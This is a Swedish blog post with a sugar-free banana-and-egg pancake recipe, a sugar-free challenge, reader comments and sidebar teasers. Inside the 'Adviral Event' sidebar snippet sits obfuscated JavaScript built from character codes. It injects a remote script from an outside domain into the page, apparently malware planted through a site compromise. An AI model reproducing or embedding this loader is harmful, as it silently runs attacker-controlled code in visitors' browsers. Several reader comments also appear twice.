Sockerfri Bananpannkaka

22

image

Godkväll! Nu har jag stillat mitt sötsug 😉

Banan-pannkaka!

Snabbt enkelt, okomplicerat, sockerfritt OCH nyttigt! 

image

Mosa bananerna, i med äggen och rör om! köp gärna ekologiska, krav märkta bananer och använd inte för små ägg… Räkna ca 1 banan och 1 ägg per portion.

image

Gräddas på medelvärme, tillsätt gärna färska bär för att variera smaken…

image

 

image

Min moster, som är både PT och kostrådgivare är även gift och fru till sin man. Hennes man är Ultra triatlet och elitidrottare. Nu inför nästa träningspass som ”bara” är en lite cykeltur på 16 mil. (Wow!!)

Så skickar hon med honon banan-pannkaka med jordnötssmör. Ett perfekt sätt att fylla på hans depåer. 

imageDet smakar betydligt godare än det ser ut 😉

Men jag som kör #sockerfritt30dagarmedmartens

som utmaning just nu håller mig till banan-pannkakorna utan jordnötssmör just nu.. Om du är sugen på att hoppa på utmaningen och inte gjorde det samma dag som jag, så kan du göra det nu också -Du håller själv reda på dina 30 dagar 😉 Nu blir det myskväll i soffan i väntan på Let’s Dance! Kramar My Martens 

Föregående
Röksugen & sötsugen! -Dålig kombination!
Nästa
Träningsresa mot Marbella!

22 Komentarer

  1. Testade dina chokladbollar idag dom nyttiga jätte goda min äldsta son gillade dom också. Banan pannkakor gjorde jag häromdagen också så gott..

  5. Testade dina chokladbollar idag dom nyttiga jätte goda min äldsta son gillade dom också. Banan pannkakor gjorde jag häromdagen också så gott..

  6. Hej My 🙂 jag brukar göra dessa pannkakor fast med 1 banan 2 ägg 1/2 dl havregryn och lite bourbon vanilj pulver

  7. Hej hej.. det där med banan och ägg lät ju inte alls fel tänkt att jag ska komma i form sen för jul.. alltså man hittar ju på 100 ursäkter att börja på måndag istället.. osv.. måste börja äta sockerfritt!! Ha en bra helg ?

  11. Hej hej.. det där med banan och ägg lät ju inte alls fel tänkt att jag ska komma i form sen för jul.. alltså man hittar ju på 100 ursäkter att börja på måndag istället.. osv.. måste börja äta sockerfritt!! Ha en bra helg 🙂

  13. Tack för receptet.Blev supergott .Kör ju också sockerfritt denna månaden,så den satt extra bra idag. Tack för en jättebra och inspirerande blogg. Ha en toppendag .Kram

  14. Tack för receptet.Blev supergott .Kör ju också sockerfritt denna månaden,så den satt extra bra idag. Tack för en jättebra och inspirerande blogg. Ha en toppendag .Kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Föregående
Röksugen & sötsugen! -Dålig kombination!
Nästa
Träningsresa mot Marbella!

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Mys Blommor🌹/ Din florist / Högsta Kvalitet & Design💫 / 🌍 Catalina Torget 15 Täby 📲 08 36 36 14

Välkommen!

@mymartens

@mys_blommor

My Blommor Täby

Strong Mamas

© Copyright My Martens

Kontakt